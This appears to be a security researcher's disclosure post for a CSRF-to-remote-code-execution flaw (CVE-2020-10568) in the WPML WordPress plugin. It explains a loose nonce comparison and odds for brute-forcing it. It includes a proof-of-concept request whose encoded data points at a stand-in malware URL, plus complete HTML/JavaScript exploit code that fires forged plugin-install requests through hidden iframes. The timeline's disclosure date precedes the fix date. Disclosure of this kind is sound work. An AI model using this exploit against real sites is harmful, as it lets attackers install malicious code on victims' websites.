Gerard Arall Follow
Mar 9, 2020 · 3 min read · Listen

Sitepress Multilingual CMS WordPress Plugin (WPML) < 4.3.7-b.2 — Authenticated Cross Site Request Forgery lead to Remote Code Execution

The issue

In the **installer_download_plugin** action, the WordPress nonce token is not compared properly (loose comparison).

```
$data = json_decode(base64_decode(sanitize_text_field($_POST['data'])), true);
if ($data['nonce'] == wp_create_nonce('install_plugin_' . $data['url'])) {
```

And example of POST data parameter would be (base64 encoded):

```
{"url":"https://example.com/plugin.zip","slug":"wpml-media-translation","nonce":"93e756d79e","repository_id":"wpml"}
```

Notice that **the nonce can be casted into integer by removing the quotes**.

When comparing a string to a number, **PHP will attempt to convert the string to a number then perform a numeric comparison**. Those are some behaviour examples:

```
if (0 == '0...') // True
if (0 == 'a...') // True
if (1 == '1...') // True
if (12 == '12..') // True
```

In order to make the statement true, attackers can send multiple requests. Knowing that WordPress nonces are 10 hexadecimal characters, the odds to obtain a true statement are:

With **1 request**, using 0 as a nonce: **40%**

- Nonces starting by 0 followed by a letter char (37.5%)
- Nonces starting by a letter char (2.34%)

With **10 requests**, using from 0 to 9 as nonce: **65%**

- Nonces starting by one digit or letter (9/16 * 10/16 of failure)

With **100 requests**, using from 0 to 99 as nonce: **80.2%**

- Nonces starting by two digits or letter (9/16 * 9/16 * 10/16 of failure)

Attackers could implement (as demonstrated in the exploit code) a small brute-force code in javascript, that will be **executed silently once a victim opens a link**.

Once a requests is performed successfully (with a true statement), the requested plugin URL will be installed, which could contain arbitrary PHP code.

And once the plugin is installed, the attacker can directly access the downloaded files by requesting **/wp-content/plugins/<plugin-name>/<file-name>.php**

Impact
Attackers can craft malicious links that, once opened by an authenticated administrator, will **execute / install malicious code / plugin in the website**.

Vulnerable code
sitepress-multilingual-cms/vendor/otgs/installer/includes/class-wp-installer.php, **download_plugin_ajax_handler** function.

Proof of Concept
Payload:

```
{"url":"https:\/\/downloads.wordpress.org\/plugin\/classic-editor.1.5.zip", "slug": "woocommerce-multilingual", "nonce": 0,
"repository_id": "wpml"}
```

Request:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.local

action=installer_download_plugin&data=eyJ1cmwiOiJodHRwczpcL1wvZXZpbC5sb2NhbC9tYWx3YXJlLnppcCIsICJzbHVnIjogIndvb2NvbW1lcmNlLW11bHRpbGluZ3VhbCIsICJub25jZSI6IDAsICJyZXBvc2l0b3J5X2lkIjogIndwbWwifQ==
```

Response:

```
HTTP/1.1 200 OK

{"install":1,"version":0,"non_stable":"","plugin_id":false,"nonce":"c3734d6b6b","success":true,"message":""}
```

Steps to reproduce:

1. Login as an admin into the target WordPress website (pretending being a victim).
2. Modify the exploit with the proper target WordPress website URL and the Plugin URL that will be installed (need to be reachable by the target host).
3. As a victim, open the exploit with the same browser that was used to login into the target WordPress website, and press the exploit button (this can be automated to reduce victim's interaction).
4. After a few seconds (once all the requests are performed), the plugin will appear installed in the target WordPress website.

Exploit code

```
<html>
<body>
<form id="form" method="post" target="iframe0">
<input type="hidden" name="action" value="installer_download_plugin" />
<input type="hidden" id="data" name="data" value="" />
</form>
<div id="invisible" style="display:none"></div>
<button id="exploit">Exploit</button>
<script>
var TARGET = 'http://wordpress.local';
var PLUGIN_URL = 'https://downloads.wordpress.org/plugin/contact-form-7.5.1.6.zip'
var LIMIT = 100;
var payload = {
'url': PLUGIN_URL.replace(/\//g, '\/'),
'slug': 'woocommerce-multilingual',
'nonce': null,
'repository_id': 'wpml'
}
document.getElementById('form').action = TARGET + '/wp-admin/admin-ajax.php';
document.getElementById('exploit').addEventListener('click', function(e){
for (nonce = 0; nonce <= LIMIT ; nonce++) {
// Prepare the payload
payload.nonce = nonce;
data = btoa(JSON.stringify(payload))
// Create the iframe
var iframe = document.createElement('iframe');
iframe.name = 'iframe' + nonce;
document.getElementById('invisible').appendChild(iframe)
// Submit the form
document.getElementById('data').value = data;
document.getElementById('form').target = 'iframe' + nonce;
document.getElementById('form').submit();
}
})
</script>
```

```
</body>
</html>
```

Timeline

- 2019–12–09 Vendor was notified with all the details described.
- 2019–12–09 Vendor replied acknowledging the issue.
- 2019–12–24 Vendor publishes version 4.3.7-b.1.
- 2019–12–30 The new release is tested and confirmed that still vulnerable. Vendor is informed.
- 2020–01–20 Vendor publishes version 4.3.7-b.2.
- 2019–12–30 Public disclosure.

Links

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10568

https://wpvulndb.com/vulnerabilities/10131

References

https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

Security Vulnerability Csrf Wpml Word Press